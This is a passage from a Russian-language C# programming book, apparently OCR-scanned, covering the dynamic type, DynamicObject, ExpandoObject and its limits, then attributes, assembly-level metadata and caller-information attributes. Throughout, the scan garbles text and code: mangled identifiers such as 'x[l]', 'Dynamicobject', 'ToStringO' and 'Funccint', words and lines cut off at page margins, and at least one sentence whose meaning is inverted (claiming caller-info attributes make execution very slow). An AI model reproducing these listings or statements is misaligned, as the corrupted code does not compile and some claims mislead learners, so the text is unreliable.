Глава 14 Листинг 14.9. Обобщенные типы и ключевое слово dynamic List<dynamic> х = new List<dynamic>(); Console.WriteLine(x.GetType() == typeof(List<object>)); Этот код отобразит значение True, указывая на то, что, поскольку здесь вовлечена среда выполнения CLR, тип List<dynamic> на самоа деле является типом List<object>. Язык C# позволяет вам делать это поскольку может быть полезно предоставить здесь динамические воз можности. Можно написать код, как в листинге 14.10, который не сработа ет с объектом типа List<object>. Первые две строки скомпилируются а третья — нет. Листинг 14.10. Использование аргумента динамического типа x.Add(12); x.Add(3.4); Console.WriteLine(x[0] + x[l]); Даже несмотря на то что среда выполнения CLR считает, что объ- ект имеет тип List<object>, код листинга 14.10 сработает, поскольку компилятор C# уже во время выполнения программы определит, как выполнять данное сложение. Если нужно, он может решить выполнить этот прием для объекта типа List<object>, а не List<dynamic>, который решили создать мы. Впоследствии, язык C# позволит присвоить ссылку одного типа на другой. Можно создать вариацию предыдущих двух примеров, показан- ную в листинге 14.11. Листинг 14.11. Совместимость обобщенного и динамического типа List<dynamic> х = new List<object>(); x.Add(12); х.Add(3.4); Console.WriteLine(x[0] + x[l]); Поскольку dynamic в качестве аргумента обобщенного типа всего лишь указывает компилятору использовать тип object, но генерировать код по-другому, могут возникнуть ситуации, где тип dynamic не будет являться корректным типом аргумента. В листинге 14.12 показано на- чало класса, который пытается реализовать интерфейс с помощью аргу- мента типа dynamic. 720
Динамическая типизация Листинг 14.12. Когда тип dynamic не может быть использован в качестве типа аргумента public class DynList IEnumerable<dynamic> // He откомпилируется { Компилятор не пропустит этот код, и опять же, все сводится к тому факту, что ключевое слово dynamic указывает компилятору, как гене- рировать код, который использует определенную переменную, аргу- мент или выражение. Вы не можете спросить «Это объект динамиче- ского типа?» ни про один объект, поскольку все зависит того, как вы на этот объект смотрите. У вас может быть две переменных типов dynamic и object, ссылающихся на один и тот же объект. Более того, вы може- те рассматривать какую-либо коллекцию как IEnumerable<object> или IEnumerable<dynamic>. Этот выбор делается кодом, который принимает коллекцию, создатель коллекции лишен права такого выбора. Хотя вы не можете заставить код, использующий ваш тип, приме- нить его динамически, вы можете управлять тем, как выглядит ваш тип для кода, который решает использовать его динамически. Пользовательские динамические объекты Как вы уже видели, переменная типа dynamic будет рассматривать разные объекты по-разному. Когда речь идет об обычных объектах .NET, вы получаете основанную на отражении операцию, которая пытает- ся произвести поведение в зависимости от того, как язык C# работает в нединамических сценариях. Но если вы передаете ссылку на СОМ- объект в ту же самую переменную, вы можете получить доступ к API автоматизации, а в Silverlight переменные типа dynamic поддержива- ют как механизм на основе отражения, так и механизм, предоставляю- щий доступ к объектам JavaScript и HTML. Фактически система гото- ва к расширению. Если вы напишете класс, реализующий интерфейс IDynamicMetaObjectProvider, вы можете настроить члены и операторы, которые будут доступны вашему типу, когда он используется через динамическую переменную. Вы также можете настроить преобразова- ния — решить, что произойдет, когда какой-либо код попытается при- своить ссылку на ваш объект переменной нединамического типа, а так- же что случится, когда ваш объект окажется с левой стороны оператора присваивания. 721
Глава 14 I ---------------------------------------------------------------------' IDynamicMetaObjectProvider — это простой интерфейс, котор| имеет всего один метод, GetMetaObject. Он возвращает объект тй DynamicMetaObject, и класс, наследующий от него, это довольно ела ная материя. Если вы реализуете язык и хотите определить сложную 2 висящую от языка семантику, тогда вам следует воспользоваться эп классом, но для сценариев попроще было бы удобно сделать ваш кла производным от класса Dynamicobject. Он уже реализует интерфе IDynamicMetaObjectProvider и будет предоставлять вам объекты клас DynamicMetaOb j ect. Он предоставляет простые методы, которые вы можс переопределить для того, чтобы настроить различные аспекты поведен вашего динамического типа. В листинге 14.13 продемонстрировано неч подобное, когда переменная с типом dynamic настраивает собственное! ведение на тот случай, если попытаться преобразовать ее в перемени; типа int. При неявном преобразовании она примет значение 1, при яви же — 2 (например, если использовать синтаксис преобразования). Листинг 14.13. Настройка преобразований using System.Dynamic; public class CustomDynamicConversion ; Dynamicobject { public override bool TryConvert(ConvertBinder binder, out object result) { if (binder.ReturnType == typeof(int)) { result = binder.Explicit ? 1 2; return true; } return base.TryConvert(binder, out result); } } В листинге 14.14 создается экземпляр этого типа и выполняются, вида преобразований. В консоли выводится сначала «1», а затем «2>. Листинг 14.14. Пользовательские преобразования в действии dynamic о = new CustomDynamicConversion(); int х = о; int у = (int) о; Console.WriteLine(x); Console.WriteLine(y); 722
Динамическая типизация Этот конкретный пример, конечно, не очень полезен. Он приведен здесь, чтобы проиллюстрировать высокий уровень управления даже мелкими деталями. Хотя язык C# старается, чтобы обычные объекты .NET вели себя соответственно своему обыкновенному поведению при использовании их в случае динамической типизации, объекты, настро- ившие свое поведение, вольны делать все, что захотят. Помимо преобразований, базовый класс Dynamicobject также опре- деляет перегружаемые методы, которые могут обрабатывать двоичные преобразования, такие как сложение и умножение, унарные операторы, в частности отрицание, индексированный доступ, вызов (позволяя ди- намической переменной использоваться как делегат), а также получе- ние и установка значений свойств. В листинге 14.15 изменяется свой- ство и получается индекс существующих каталогов и файлов. Листинг 14.15. Доступ к файловой системе с помощью ключевого слова dynamic public class DynamicFolder DynamicObject { private Directoryinfo -directory; public DynamicFolder(Directoryinfo directory) { -directory = directory; if (!directory.Exists) ( throw new ArgumentException("No such directory", "directory") ; } } public DynamicFolder(string path) this(new Directoryinfo(path)) { 1 public override bool TryGetMember(GetMemberBinder binder, out object result) { ; Directoryinfo[] items = : -directory.GetDirectories(binder.Name); if (items.Length > 0) ( result = new DynamicFolder(items[0]); return true;
return base.TryGetMember(binder, out result); ) public override bool TryGetIndex(GetIndexBinder binder, object!] indexes, out object result) { if (indexes.Length == 1) { Fileinfo[] items = -directory.GetFiles(indexes[0].ToStringO); if (items.Length > 0) { result = items[0]; return true; } } return base.TryGetlndex(binder, indexes, out result); } } Это позволяет вам перемещаться по каталогам и получать инфорз цию о файлах, используя код, показанный в листинге 14.16. Листинг 14.16. Использование класса DynamicFolder dynamic с = new DynamicFolder(@"с:\") ; dynamic home = с.Users.Ian; Fileinfo textFile = home.Documents [’’Test.txt”] ; Переменная home ссылается на тип DynamicFolder, являющийся талогом c:\Users\Ian, а последняя строка получает объект, представлю щий каталог Documents внутри него, из которого извлекается инфорз ция о файле Test.txt. Довольно легко вообразить использование подобных приемов i того, чтобы представить данные, например, в формате JSON или X! с помощью такого простого синтаксиса. Хотя здесь показывается, как объект может решать, каз свойства делать доступными динамически, этот пример - самый лучший способ доступа к файловой системе. Он не i жет справиться с каталогами, в чьих именах есть точки. Е( 724
i необходимо получить доступ к каталогу c:\foo.bar, возникли бы неприятности, поскольку выражение с.Foo.Ваг запраши- вает свойство Foo объекта С, а затем' получает свойство Ваг результата, в итоге запрашиваемый каталог выглядит как с:\ foo\bar, а не c:\foo.bar. Поэтому можно сказать, что в примере показан лишь частный случай, который не пригоден для ис- пользования в реальных системах. В библиотеке классов фреймворка .NET существует встроенный гип, который предоставляет возможность создать собственную реали- зацию динамического объекта, достойную рассмотрения, — этот тип на- зывается ExpandoObject. Класс ExpandoObject ExpandoOb j ect — это тип, разработанный для использования по ссыл- ке на тип dynamic. При применении его таким способом его определяю- щей особенностью является тот факт, что вы можете назначить значение свойству с любым именем. Если объект не имеет свойства с таким име- нем, подобное свойство появляется прямо в момент выполнения про- граммы. В листинге 14.17 создается новый объект типа ExpandoObject, который поначалу вообще не имеет свойств, но к концу работы програм- мы у него их целых три. Листинг 14.17. Добавление свойств в объект типа ExpandoObject dynamic ex = new ExpandoObject () ; ex.X = 12.3; ex.Y = 34.5; ex.Name = "Point"; Console.WriteLine ("{0}: {!}, {2}", ex.Name, ex.X, ex.Y); Эта концепция очень похожа на концепцию словаря, только вме- сто индекса используется синтаксис свойств языка. Фактически тип ExpandoObject реализует интерфейс IDictionary <string,object>, что можно проследить при переходе от листинга 14.17 к листингу 14.18. Листинг 14.18. Доступ к свойствам ExpandoObject как к словарю IDictionary<string, object> exd = ex; Console.WriteLine("{0}: {1}, {2}", exd["Name"], exd["X"], exd["Y"]); 725
Глава 14 Тип ExpandoObject может быть полезен, если необходимо заполни^ динамический объект во время выполнения программы. Это значите^ но проще, чем создавать собственный динамический объект. Ограничения типа dynamic Важно помнить, что основная роль типа dynamic в C# — это упрощ( ние определенных сценариев взаимодействия. Поддержка полносты жизнеспособного динамического программирования в C# не являли целью создания такой возможности. И хотя тип dynamic позволяет ж пользовать некоторые конструкции других динамических языков в CI он имеет некоторые недостатки. Статически типизированная природ C# будет время от времени брать свое, если вы попытаетесь полносты следовать принципам динамического программирования. г Например, некоторые сценарии на основе делегатов не сработаю как вы ожидаете, в том случае, если вы используете тип dynamic. Пр< стые сценарии работают как следует, что будет продемонстрировав в методе, показанном в листинге 14.19. Листинг 14.19. Простой метод static void Uselnt(int х) { Console.WriteLine(x); } Я, конечно, могу назначить этот метод переменной-делегату ста! дартного типа Action <int>, а также присвоить результат динамическо переменной. И, как вы могли бы надеяться, можно затем вызвать дел гат через эту переменную, используя очевидный синтаксис, что показ, но в листинге 14.20. Листинг 14.20. Использование делегата с помощью динамической переменной Action<int> а = Uselnt; dynamic da = а; da (42); Этот пример заканчивается вызовом метода Uselnt с аргументом 4 Тем не менее нельзя присвоить имя метода непосредственно динамич ской переменной. В листинге 14.21 осуществляется подобная попытка. 726
Динамическая типизация Листинг 14.21. Неудачная попытка назначенияделегата динамической переменной dynamic da = UseInt; //He откомпилируется Этот код не скомпилируется, поскольку компилятор не знает, какой тип использовать. Переменная типа dynamic может ссылаться на все, что угодно, но компилятору выбирать особо не из чего — есть несколько подходящих типов делегатов, и он не знает, какой из них нужен. Возможно, еще более удивителен тот факт, что нет никакой под- держки для преобразования между совместимыми типами делегатов. В листинге 14.22 определяется тип-делегат, могущий относиться к лю- бому методу, на который способен ссылаться тип Action <int>. К таким типам, безусловно, относится и Uselnt. Листинг 14.22. Делегат, совместимый с типом Action <int> public delegate void IntHandler(int x); Несмотря на это, код листинга 14.23 компилируется, но не срабаты- вает во время выполнения. Он будет жаловаться, когда достигнет пред- последней строки, в которой не сможет преобразовать тип Action <int> к типу IntHandler. В теории язык C# мог иметь поддержку такой воз- можности, если бы компания Microsoft не посчитала, что дополнитель- ные усилия, необходимые для создания поддержки подобной возмож- ности, окупили бы себя, но, видимо, этого не произошло. Листинг 14.23. Неподдерживаемое преобразование делегата Action<int> а = Uselnt; dynamic da = а; IntHandler ih = da; ih(42) ; Кроме того, методы, которые имеют динамические аргументы, не со- вместимы с большим количеством типов делегатов. Рассмотрим метод, приведенный в листинге 14.24. Листинг 14.24. Простой метод с динамическим аргументом static void UseAnything(dynamic x) Console.WriteLine(x);
Глава 14 Язык C# не позволит вам назначить этот метод переменной Action<int>, хотя данный метод совершенно спокойно может при переменную типа int. Проблемы взаимодействия, для решения которых был создан dynamic, редко включают интенсивное использование делегатов, пот хотя эти проблемы могут разочаровать вас, их возникновение сова удивительно. Другой иллюстрацией статуса «второсортности» типа dynamic я ется тот факт, что он не поддерживает методы расширения. Напри если следовать статической типизации, можно написать код, привс ный в листинге 14.25, помощью LINQ to Objects, особенности кото продемонстрированы в главе 10. Этот пример создает последоват ность чисел, а затем применяет фильтр, удаляющий все нечетные ла. Листинг 14.25. Использование метода расширения IEnumerable<int> xs Enumerable.Range(1, 20); IEnumerable<int> evens = xs.Where(x => x % 2 == 0); ь Если вы измените тип переменной xs c lEnumerable <int>Hadyn, код даже не скомпилируется. Вы получите следующее сообщени ошибке на второй строке: error CS1977: Cannot use a lambda expression as an argument to a dynamically dispatched operation without first casting it to a delegat expression tree type (error CS1977: He удается использовать лямбда-выражение в качестве аргумента динамически распределяемой операции без его предварительного приведения к делегату или типу дерева выражений) Лямбда-выражения очень полагаются на определение типа, кот в свою очередь опирается на статическую типизацию. В листинге 1 компилятор знает тип переменной xs и, следовательно, в состою определить местонахождение метода Where. Поэтому он будет пони? что требуется передать в него аргумент типа Func <int, bool>. Но изменить тип переменной xs на dynamic, мы лишим компилятор возв ности работать с требуемым типом. (Он даже не будет знать, хочу я дать вложенный метод цлн дерево выражений.) Мы можем заста скомпилироваться данный код, явно указав компилятору, какой ти1 легата мы хотели бы получить, как показано в листинге 14.26, хотя: 728
Динамическая типизация нарушим основные преимущества использования типа dynamic, — это должно позволить нам тратить менылевремени, объясняя компилятору, какие именно типы следует использовать. Листинг 14.26. Указание типа делегата dynamic xs = Enumerable.Range(1, 20); Funccint, bool> pred = x => x % 2 == 0; I£numerable<int> evens = xs.Where(pred) ; К сожалению, хотя этот код и скомпилируется, во время выполне- ния произойдет ошибка. Вызов метода Where сгенерирует исключение, в котором будет указано, что требуемого метода не существует. На пер- вый взгляд, это странно, поскольку код листинга 14.25 работал. Про- ^блема в том, что в данном примере метод Where является методом рас- ширения. Объект, на который ссылается переменная xs, на самом деле не определяет подобный метод. Компилятор не получает из контекста информацию, необходимую для того, чтобы методы расширения рабо- тали динамически. В теории он может это сделать, но ему необходимо будет отслеживать каждое пространство имен, которое находилось бы в области применения во время вызовов динамических методов, что значительно усложнит процесс и увеличит накладные расходы. И так как это не является необходимым для сценариев взаимодействия, для чего главным образом предназначен тип dynamic, поддержки динамиче- ского использования методов расширения просто не существует. Резюме В языке C# определяется специальный тип, который называется dynamic. Среда выполнения CLR никак не распознает этот тип — для нее он выглядит как тип System. Object. Однако компилятор знает, какие выражения являются динамическими, и он генерирует код совсем по- другому, когда вы работаете с этими выражениями, отложив принятие многих решений до момента исполнения. Компилятор не проверяет до- ступность операций во время компиляции, что позволяет вам использо- вать в динамических выражениях любые методы, свойства или операто- ры, которые вам необходимы. Если объект имеет обычный тип .NET, он будет применять механизм на основе отражения для обеспечения пове- дения, эквивалентного тому, что произошло бы, если бы реальные типы были известны на этапе компиляции (с некоторыми ограничениями, от- носящимися к делегатам, лямбда-выражениям и методам расширения). 729
Но ряд объектов обрабатывается особым образом. Для СОМ-объек динамические переменные обеспечивают удобный способ использс ния автоматизации СОМ. В Silverlight тип dynamic позволяет при нять объекты сценариев браузера с естественным синтаксисом. .Ь объекты, для которых задано особое динамическое поведение, мс определить собственное поведение, так способны поступать в том чи и объекты из других языков фреймворка .NET; объекты, произошел! из языка IronRuby и некоторых других динамических языков, под; живающие среду выполнения динамического языка, можно испол! вать в языке С#, и они будут вести себя так, как задумали их автс Основной целью типа dynamic является поддержка сценариев взаи действия с СОМ и другими языками, и хотя возможно использовать dynamic без привязки к взаимодействию, он не предоставляет пол! поддержку динамических конструкций программирования, потому он не был разработан для этих целей.
Глава 15 АТРИБУТЫ В языке .NET вы можете указывать для компонентов, типов и их чле- \ атрибуты. Атрибуты используются для управления или изменения едения фреймворка библиотеки, инструмента, то есть компилятора, < среды выполнения CLR. Например, в главе 1 я показал класс, для орого указан атрибут [Testclass]. Этот атрибут указывает фрейм- »ку модульного тестирования, что аннотированный класс содержит колько тестов, которые могут быть запущены как общий комплект тов. Атрибуты являются пассивными контейнерами информации, кото- * ничего не делают сами по себе. Проводя аналогию с реальным ми- I, если вы печатаете этикетку, содержащую адресатов и информацию । отслеживания, и прикладываете ее к упаковке, эта этикетка сама себе не заставит посылку оказаться на месте ее назначения. Такие кетки полезны только в том случае, когда пакет находится в руках (пании-перевозчика. Когда компания забирает посылку, она ожидает ичия этикетки и будет использовать ее для определения маршрута ета. Поэтому этикетки являются важными, но в конечном счете их нственное предназначение заключается в предоставлении информа- I, требуемой системой. Атрибуты во фреймворке .NET работают так - они имеют значение, только если они для чего-то нужны. Неко- ые атрибуты обрабатываются средой выполнения CLR или компи- ором, но это лишь малая их часть. Большинство атрибутов исполь- ►тся фреймворками, библиотеками, инструментами (например, при гировании с помощью среды разработки Visual Studio) или вашим ственным кодом. Применение атрибутов Чтобы избежать необходимости вводить дополнительный набор по- ий в системе типов, атрибуты фреймворка .NET представляют со- объекты типов .NET. Для того чтобы тип можно было использовать 731
Глава 15 в качестве атрибута, тип должен быть производным от класса Sys Attribute, в противном случае он может быть совершенно обыч] Чтобы применить атрибут, необходимо поместить имя типа в квас ные скобки, что должно делаться непосредственно перед целью атр та. В листинге 15.1 показано использование некоторых атрибутов к вого фреймворка компании Microsoft. Я применил один из них к кл чтобы указать, что он содержит тесты, которые я хотел бы залуп Также я применил несколько из них к отдельным методам, указ! фреймворку тестирования, какие из них представляют собой те а какие содержат код инициализации, который должен быть зап> перед стартом каждого теста. Листинг 15.1. Атрибуты в классе модульного тестирования using Microsoft.VisualStudio.TestTools.UnitTesting; namespace ImageManagement.Tests { [TestClass] public class WhenPropertiesRetrieved { private ImageMetadataReader _reader; [Testlnitialize] public void Initialize() { _reader = new ImageMetadataReader(TestFiles.Getlmage()); } [TestMethod] public void ReportsCameraMaker() { Assert.AreEqual(_reader.CameraManufacturer, ’’Fabrikam’’); } [TestMethod] public void ReportsCameraModel() { Assert.AreEqual(_reader.CameraModel, ’’Fabrikam F450D"); } } } 732
Атрибуты Если вы посмотрите на документацию большинства атрибутов, вы бнаружите, что их настоящие имена заканчиваются словом Attribute, ели не существует класса с именем, указанным в скобках, компилятор зыка C# попытается добавить это слово, а потому атрибут [Testclass] з листинга 15.1 относится к классу TestClassAttribute. Если вам этодей- гвительно необходимо, можно назвать класс полным именем, например TestClassAttribute], но чаще всего используется сокращенный вариант, ели вы хотите применить несколько атрибутов, у вас есть два варианта, ы можете либо предоставить несколько наборов скобок, либо поместить есколько атрибутов внутри одной пары скобок, разделив их запятой. Некоторые типы атрибутов могут принимать аргументы конструк- зра. Например, тестовый фреймворк компании Microsoft включает себя атрибут TestCategoryAttribute. Если вы используете инструмент, озволяющий запускать тесты из командной строки (mstest.exe), вы ожете передать аргумент /category для того, чтобы запустить только ггы определенной категории. Этот атрибут требует передачи имени атегории в качестве параметра конструктора, потому что не было бы икакого смысла в применении этого атрибута без указания имени. Как оказано в листинге 15.2, синтаксис для определения параметров кон- груктора для атрибута не является каким-то особым. истинг 15.2. Атрибут с аргументом конструктора testcategory (’’ Property Handling") ] 'estMethod] * :blic void ReportsCameraMaker () Вы также можете указать значения свойств или полей. Кое-какие грибуты имеют особенности, которые могут управляться только с по- ощью свойств или полей, а не аргументов конструктора. (Если атрибут меет множество дополнительных параметров, как правило, легче пред- гавить их в качестве свойств или полей вместо того, чтобы определять ?регруженные конструкторы для каждой возможной комбинации на- гройки.) Синтаксис представляет собой одну или несколько записей opertyOrFieldName = Value, указываемых после аргументов конструк- та (или вместо них, если аргументов конструктора нет). В листин- 115.3 показывается другой атрибут, который используется в модуль- )м тестировании, ExpectedExceptionAttribute, позволяющий указать, о когда ваш тест работает, вы ожидаете, что сгенерируется определен- 733
Глава 15 ное исключение. Указание типа исключения является обязательным, та что мы передаем его как параметр конструктора, но этот атрибут таю* позволяет указать, должен для фреймворк тестирования принимать ж ключения типа, производного от указанного. (По умолчанию он буде принимать только точное соответствие.) Это контролируется свойство AllowDerivedTypes. Листинг 15.3. Задание дополнительных параметров атрибутов с помощью свойств. [ExpectedException (typeof (ArgunentException), AllowDerivedTypes = true)] [TestMethod] public void ThrowsWhenNameMalformedO { Применение атрибута не заставит его создаться автоматически. Вс что вы делаете при использовании атрибута, это предоставляете ю струкции о том, как атрибут должен быть создан и инициализирован если какой-то код запрашивает его. (Распространенное заблуждеш заключается в том, что атрибуты метода создаются при выполнени метода. Это не так.) Компилятор помещает в метаданные информаци о том, какие атрибуты были применены к различным элементам, вклк чая их в списки аргументов конструктора и значений свойств, и cpej выполнения CLR будет получать эту информацию и использовать ( только тогда, когда кто-то ее запросит. Например, когда вы говори! среде разработки Visual Studio запустить модульные тесты, она загрузр тестовую сборку, а затем запросит у среды выполнения CLR атрибут! связанные с тестированием, для каждого общедоступного типа. В этс момент создаются объекты атрибутов. Если вы просто загрузите сборк скажем, добавив, ссылку на нее из другого проекта, а затем использ) некоторые типы, что в ней содержатся, атрибуты никогда не будут сущ ствовать — они останутся не более чем набором инструкций по сборк «замороженным» в метаданных сборки. Цели атрибутов Атрибуты могут быть применены к множеству различных видов щ лей. Вы можете применить атрибуты к любому элементу системы типо представленному в API-интерфейсе отражения, о котором мы говорил 734
Атрибуты в главе 13. В частности, можно применять атрибуты к сборкам, модулям, типам, методам, параметрам методов, возвращаемым типам методов, конструкторам, полям, свойствам, событиям и параметрам обобщенных типов. В большинстве случаев для указания цели необходимо просто поместить атрибут перед ней. Этот способ не подходит для сборок и модулей, поскольку не существует отдельного элемента, который бы представлял их в исходном коде — весь код вашего проекта попа- дает в сборку, а модули являются ее составными частями (зачастую сборка состоит из одного модуля, что было продемонстрировано в гла- ве 12). Поэтому в случае сборок и модулей необходимо указать цель явно в начале кода атрибута. Если вы откроете файл Assemblylnfo.cs любого проекта (среда разработки Visual Studio размещает его в раз- деле Properties (Свойства) панели Solution Explorer (Обозреватель решений)), вы найдете множество атрибутов уровня сборки, показан- ных в листинге 15.4. Листинг 15.4. Атрибуты уровня сборки в файле Assemblylnfo.cs. [assembly: AssemblyCompany("Interact Software Ltd.")] [assembly: AssemblyProduct("AttributeTargetsExample")] [assembly: AssemblyCopyright ( "Copyright © 2012 Interact Software Ltd.")] Однако в этом файле нет ничего особенного. Вы можете поместить атрибуты уровня сборки в любой файл. Единственным ограничением является тот факт, что они должны находиться перед началом любого пространства имен или определения типа. Единственное, что может располагаться перед атрибутами уровня сборки, — это директивы using и, по возможности, комментарии и пустое пространство. Атрибуты для модулей следуют той же схеме, хотя они встречаются гораздо реже. Не только потому, что многомодульные сборки довольно редки, но и потому, что далеко не всегда нужно предоставлять атрибу- ты для модулей. В листинге 15.5 показано, как настроить отладку для конкретного модуля, если вы хотите, чтобы один модуль многомодуль- ной сборки отлаживать было довольно легко, а остальные использовали JIT-компиляцию с полной оптимизацией. (Это надуманный сценарий, рассматриваемый для того, чтобы я мог показать синтаксис. На практи- ке вы вряд ли когда-нибудь захотите сделать это.) Мы рассмотрим атри- бут DebuggableAttribute позже, в разделе «JIT-компиляция». 735
Глава 15 Листинг 15.5. Атрибут уровня модуля using System.Diagnostics; [module: Debuggable(DebuggableAttribute.DebuggingModes .DisableOptimizations)] Возвращаемые методами значения могут быть аннотированы ат бутами, и это также требует подробного рассмотрения, потому что ат буты возвращаемого значения находятся перед методом, в том же мс где атрибуты, которые применяются для самого метода. (Атрибуты параметров не нуждаются в подробном рассмотрении, потому что расположены в скобках рядом с аргументами.) В листинге 15.6 пою метод, рядом с которым стоят атрибуты, относящиеся как к методу, и к типу возвращаемого значения. (Атрибуты здесь являются час служб взаимодействия, описанных в главе 21. В этом примере hmi тируется функция из Win32 DLL, что позволяет использовать ее из Существует несколько различных представлений для двоичных зн; ний в неуправляемом коде, так что я аннотировал тип возвращаек в этом примере с помощью атрибута MarshalAsAttribute, указывают какой именно тип следует ожидать среде выполнения CLR.) Листинг 15.6. Атрибуты метода и возвращаемого значения. [Dlllmport("User32.dll”)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool IsWindowVisible(HandleRef hWnd); Другая цель, которая требует тщательного изучения, — это гене руемое компилятором поле события. Атрибут в листинге 15.7 относится к области, хранящей делегат события, рядом не содержится идентификатор field: атрибут в этом сте будет применяться в отношении самого события. Листинг 15.7. Атрибут поля события [field: NonSerialized] public event EventHandler Frazzled; Можно было бы ожидать такого же синтаксиса для работы с ai магическими свойствами, что позволяет аннотировать сгенерирован компилятором поле, если вы не предоставите явные методы get и set данного свойства. Однако если вы попытаетесь это сделать, вы полу1 ошибку компиляции. Ее обоснованием служит тот факт, что в отлн от событий сгенерированное поле для автоматического свойства не _______________-—__________________________________________________ 736
Атрибуты ляется видимым для вашего кода. (Дрле для события скрыто только от пользователей вашего класса — код внутри класса может получить не- посредственный доступ к полю события.) Атрибуты, обрабатываемые компилятором Компилятор C# распознает некоторые типы атрибутов и обрабаты- вает их специальным образом. Например, вы можете управлять име- нами сборок и их версиями с помощью атрибутов, а также некоторой прочей информацией, связанной с вашей сборкой. По соглашению, эти атрибуты обычно находятся в файле Assemblylnfo.cs. Среда разработки Visual Studio добавляет туда несколько атрибутов автоматически, и она может редактировать этот файл от вашего имени. Если вы перейдете во вкладку Application (Приложение) на странице свойств вашего проек- та, вы увидите там кнопку Assembly Information (Сведения о сборке), нажатие на которую отображает окно для редактирования некоторых свойств, рассмотренных в этом разделе. Кроме того, их так же легко ре- дактировать, как и ваш исходный код. Имена и версии Как вы уже видели в главе 12, сборки имеют составное имя. Простое имя, которое, как правило, совпадает с именем файла, но без расшире- ния .ехе или .dll, сконфигурировано как часть настроек проекта. Имя также включает в себя номер версии, которым можно управлять с помо- щью атрибутов. Как правило, вы можете увидеть в файле Assemblyinfo, cs что-то похожее на листинг 15.8. Листинг 15.8. Атрибуты версий [assembly: AssemblyVersionC'l.O.O.O") ] [assembly: AssemblyFileVersion("1.0.0.0”)] Как вы можете помнить из главы 12, первый из этих наборов задает часть с версией для имени сборки. Второй из них не имеет ничего обще- го с .NET — компилятор использует его для создания ресурса в стиле Win32. Этот номер версии конечные пользователи увидят в том слу- чае, если выберут вашу сборку в проводнике Windows и откроют окно Property (Свойства). Культура также является частью имени сборки. Ее значение часто будет устанавливаться автоматически при использовании механизма 737
Глава 15 сопутствующих ресурсов, описанного в главе 12. Вы можете задать ег явно с помощью атрибута AssemblyCulture, но для сборок без ресурсо культура обычно задаваться не будет. (Вы станете задавать явно тольк атрибут уровня сборки, связанный с культурой, — NeutralResourcesLan uageAttribute, показанный в главе 12.) Сборки со строгими именами имеют дополнительный компонен в имени: маркер открытого ключа. Самый простой способ задания силь ного имени заключается в использовании вкладки Signing (Подпись! вание) в свойствах вашего проекта. Однако вы также можете управлят заданием строгих имен из исходного кода, так как компилятор распозна ет некоторые специальные атрибуты, предназначенные для этой цел» Атрибут AssemblyKeyFileAttribute принимает имя файла, который со держит ключ. Кроме того, можно установить ключ в хранилище ключе! компьютера (являющемся частью системы криптографии Windows] Если вы хотите сделать так, то можете испЬльзовать вместо этого атри бут AssemblyKeyNameAttribute. Присутствие любого из данных атрибу тов заставляет компилятор встроить открытый ключ в сборку, а такж включить хэш этого ключа в маркер открытого ключа строгого имени Если файл ключа содержит закрытый ключ, компилятор также подпи шет вашу сборку. Если закрытого ключа нет, сгенерируется ошибка ком пиляции, если только атрибут конструктора AssemblyDelaySignAttributi не имеет значения true. Хотя атрибуты, связанные с ключами, обрабатываются комли лятором особым образом, он все еще встраивает их в методам ные как обычные атрибуты. Итак, если вы используете атрибу AssemblyKeyFileAttribute, путь к файлу ключа будет виден в ко нечном скомпилированном выводе. Это не обязательно вы зовет проблему, но если вы предпочитаете не афишировав такого рода подробности, то строгие имена следует конфигу рировать на уровне проекта, а не с помощью атрибутов. Описание и соответствующие ресурсы Ресурс версии, полученныйспомощьюатрибутаАззетЬ1уГПе7ег5101 не является единственной информацией, которую компилятор C# мс жет встраивать в ресурсы, созданные в стиле Win32. Файл Assemblylnfi cs обычно также содержит несколько атрибутов, предоставляющих ив формацию об авторских правах и другой описательный текст. В листа ге 15.9 показана типичная подборка атрибутов. 738 !
Листинг 15.9. Типичные атрибуты, описывающие сборку [assembly: AssemblyTitle ("ExamplePlugin") ] [assembly: AssemblyDescription("An example plug-in DLL")] [assembly: AssemblyConfiguration("Retail")] [assembly: AssemblyCompany("Interact Software Ltd.")] [assembly: AssemblyProduct("ExamplePlugin")] [assembly: Assemblycopyright ( "Copyright © 2012 Interact Software Ltd.")] [assembly: AssemblyTrademark ("") ] Как и в случае с версией файла, все они видны на вкладке Details (Подробности) окна Properties (Свойства), которое проводник Windows может отобразить для файла. Атрибуты, содержащие информацию о вызывающей стороне Одна из новых особенностей C# 5.0 — это поддержка некоторых атрибутов, обрабатываемых компилятором, предназначенных для сце- нариев, когда методу необходимо знать о контексте, откуда они были вызваны. Это полезно для определенных диагностических сценариев журналирования, а также решает давнюю сложность с интерфейсами, обычно применяемыми в пользовательском коде интерфейса. В листинге 15.10 показывается, как можно использовать эти атрибу- ты для журналирования кода. Если вы аннотируете параметры метода одним из этих трех новых атрибутов, компйлятор выполнит особые действия, когда вызывающая сторона опускает аргументы. Эти атрибуты могут быть использованы только для необяза- * тельных параметров. Единственный способ, позволяющий - указать, что аргумент необязателен, заключается в указании для этого атрибута значения по умолчанию. Компилятор C# всегда станет заменять значение по умолчанию если в метод было передано другое значение, поэтому значение по умолча- нию, которое вы задали, не будет использоваться, если вы вы- зываете метод из кода на языке C# (или на языке Visual Basic, где также поддерживаются эти атрибуты). Тем не менее вы должны предоставить значение по умолчанию, поскольку без него параметр не будет необязательным, поэтому мы обычно используем пустые строки, значения null или число 0. 739
Глава 15 Листинг 15.10. Применение атрибутов, хранящих информацию о вызывающей стороне, к параметрам методов public static void Log( string message, [CallerMemberName] string callingMethod = [CallerFilePath] string callingFile = [CallerLineNumber] int callingLineNumber = 0) { Console.WriteLine( "Message {0}, called from {1} in file ’{2}’, line {3}", message, callingMethod, callingFile, callingLineNumber); } Если при вызове этого метода указать все аргументы, ничего нео- бычного не произойдет. Но если опустить любой из необязательных аргументов, то компилятор C# сгенерирует код, предоставляющий ин- формацию о месте вызова метода. Значениями по умолчанию для трех необязательных аргументов в листинге 15.10 будут имя метода, вызвав- шего этот метод Log, полный путь к исходному коду, содержащему код, который осуществляет вызов, и номер строки, откуда метод Log был вы- зван. * Вы можете определить вызывающий метод другим способом: цЛ' 4 « 101300 StackFrame из пространства имен System. Diagnostics мо- ——жет сообщить информацию о методах, расположенных выше в стеке вызовов. Однако эта операция требует значительных затрат времени — атрибуты, содержащие информацию о вы- зывающей стороне, определяют свои значения во время ком- пиляции, в результате чего скорость выполнения программы становится очень низкой. Кроме того, класс StackFrame может определить имя файла и номер строки, но только если доступ- ны символы отладки. Хотя диагностическое журналирование — наиболее очевидная об- ласть применения этой функции, я также упомянул некоторую про- блему, с которой знакомо большинство разработчиков интерфейсов для приложений .NET. В библиотеке классов фреймворка .NET определен интерфейс INotifyPropertyChanged. Как 